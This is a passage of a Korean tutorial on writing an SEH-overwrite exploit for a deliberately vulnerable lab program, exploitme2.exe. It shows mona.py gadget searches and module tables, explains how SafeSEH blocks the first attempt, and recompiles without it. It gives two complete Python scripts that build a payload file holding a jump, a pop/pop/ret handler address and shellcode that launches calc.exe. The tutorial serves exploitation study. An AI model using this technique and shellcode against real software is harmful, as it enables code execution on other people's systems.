0x75e45960 |   0x75e45960 (b+0x00085960)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e47b36 |   0x75e47b36 (b+0x00087b36)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e4a53f |   0x75e4a53f (b+0x0008a53f)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e5e294 |   0x75e5e294 (b+0x0009e294)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e65641 |   0x75e65641 (b+0x000a5641)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e6a121 |   0x75e6a121 (b+0x000aa121)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e77bf1 |   0x75e77bf1 (b+0x000b7bf1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e7930d |   0x75e7930d (b+0x000b930d)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

... Please wait while I'm processing all remaining results and writing everything to file...

[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...

    Found a total of 396 pointers


[+] This mona.py action took 0:00:12.400000


두 번째 있는 내용을 사용해봅시다.


0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn


그러면 우리의 계획은 다음과 같습니다.



아래 파이썬 코드는 name.dat을 생성하는 스크립트 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
with open('c:\\name.dat''wb') as f:
    jmp = '\xeb\x06\x90\x90'
    handler = '\x5d\xd7\xdf\x75'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            "\x30\x03\xc6\xeb\xdd")
    data = 'a'*84 + jmp + handler + shellcode
    f.write(data + 'c' * (10000 - len(data)))
cs


WinDbg에서 exploitme2.exe를 디버깅 하면 뭔가 잘못 되었음을 볼 수 있습니다. 보면 우리의 pop/pop/ret 이 호출되지 않은 것 같습니다. 왜 그럴까요?

 

로드된 모듈들을 보면 다음과 같습니다.


0:000> !py mona modules

Hold on...

[+] Command used:

!py mona.py modules


---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------

[+] Processing arguments and criteria

    - Pointer access level : X

[+] Generating module info table, hang on...

    - Processing modules

    - Done. Let's rock 'n roll.

----------------------------------------------------------------------------------------------------------------------------------

 Module info :

----------------------------------------------------------------------------------------------------------------------------------

 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path

----------------------------------------------------------------------------------------------------------------------------------

 0x774b0000 | 0x774ba000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)

 0x00190000 | 0x00196000 | 0x00006000 | False  | True    | True  |  False   | False  | -1.0- [exploitme2.exe] (exploitme2.exe)

 0x752d0000 | 0x7532a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)

 0x764c0000 | 0x7658c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)

 0x76360000 | 0x763a7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)

 0x752c0000 | 0x752c9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)

 0x752b0000 | 0x752b7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)

 0x758c0000 | 0x7595d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)

 0x75b50000 | 0x75be0000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)

 0x75dc0000 | 0x75ed0000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)

 0x75960000 | 0x75a0c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)

 0x75550000 | 0x7555c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)

 0x75560000 | 0x755c0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)

 0x77bd0000 | 0x77d50000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)

 0x75ed0000 | 0x75f70000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)

 0x77660000 | 0x77750000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)

 0x6d510000 | 0x6d5fe000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)

 0x764a0000 | 0x764b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)

 0x75ab0000 | 0x75ab5000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)

 0x761c0000 | 0x762c0000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)

 0x762f0000 | 0x76350000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)

----------------------------------------------------------------------------------------------------------------------------------



[+] This mona.py action took 0:00:00.110000


여기서 보면 로드된 모듈에 SafeSEH = True로 되어 있음을 볼 수 있습니다. 우리에게 참으로 안좋은 소식입니다. 만약 모듈이 SafeSEH로 컴파일 되었다면 SEH 핸들러에는 허락된 핸들러만 등록되고 그 외에는 무시되게 됩니다.

 

0x75dfd75d kernel32.dll 에 있지만 리스트에 허용된 핸들러가 아니기 때문에 사용할 수 없습니다. 일반적인 해결책으로는 모듈에 SafeSEH False인 것을 사용하는 것이 있지만 이 경우에는 모든 모듈들이 SafeSEH가 활성화가 되어 있었습니다.

 

VS 2013 의 설정에서 SafeSEH 를 빼고 exploitme2.exe를 다시 컴파일 합니다.

  • Configuration Properties
    • Linker
      • Advanced
        • Image Has Safe Exception Handler: No (/SAFESEH:NO)


이제 exploitme2.exe 에서 pop/pop/ret 을 찾아 보도록 하겠습니다.


0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe

Hold on...

[+] Command used:

!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe


---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------

[+] Processing arguments and criteria

    - Pointer access level : X

    - Only querying modules exploitme2.exe

[+] Type of search: str

[+] Searching for matches up to 8 instructions deep

[+] Generating module info table, hang on...

    - Processing modules

    - Done. Let's rock 'n roll.

[+] Started search (8 start patterns)

[+] Searching startpattern between 0x00e90000 and 0x00e96000

[+] Preparing output file 'findwild.txt'

    - (Re)setting logfile findwild.txt

[+] Writing results to findwild.txt

    - Number of pointers of type 'pop eax # pop esi # retn' : 1

    - Number of pointers of type 'pop ecx # pop ecx # retn' : 1

    - Number of pointers of type 'pop edi # pop esi # retn' : 2

    - Number of pointers of type 'pop ecx # pop ebp # retn' : 1

    - Number of pointers of type 'pop ebx # pop ebp # retn' : 1

[+] Results :

0x00e91802 |   0x00e91802 (b+0x00001802)  : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)

0x00e9152f |   0x00e9152f (b+0x0000152f)  : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)

0x00e918e7 |   0x00e918e7 (b+0x000018e7)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)

0x00e91907 |   0x00e91907 (b+0x00001907)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)

0x00e9112b |   0x00e9112b (b+0x0000112b)  : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)

0x00e91630 |   0x00e91630 (b+0x00001630)  : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)

    Found a total of 6 pointers


[+] This mona.py action took 0:00:00.170000


우리가 찾은 주소에서 0x00e91802 주소를 사용해보도록 하겠습니다.

 

이에 대한 파이썬 스크립트는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
with open('c:\\name.dat''wb') as f:
    jmp = '\xeb\x06\x90\x90'
    handler = '\x02\x18\xe9\x00'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            "\x30\x03\xc6\xeb\xdd")
    data = 'a'*84 + jmp + handler + shellcode
    f.write(data + 'c' * (10000 - len(data)))
cs


스크립트를 실행 하고 WinDbg에서 exploitme2.exe (SafeSEH가 없는) 실행하면 우리가 원하는 바와 같이 계산기가 뜸을 볼 수 있습니다! 우리가 해내긴 했지만 여기서는 몇몇 설정을 강제하고 ASLR이 없다고 (지금은!!) 가정했습니다.

댓글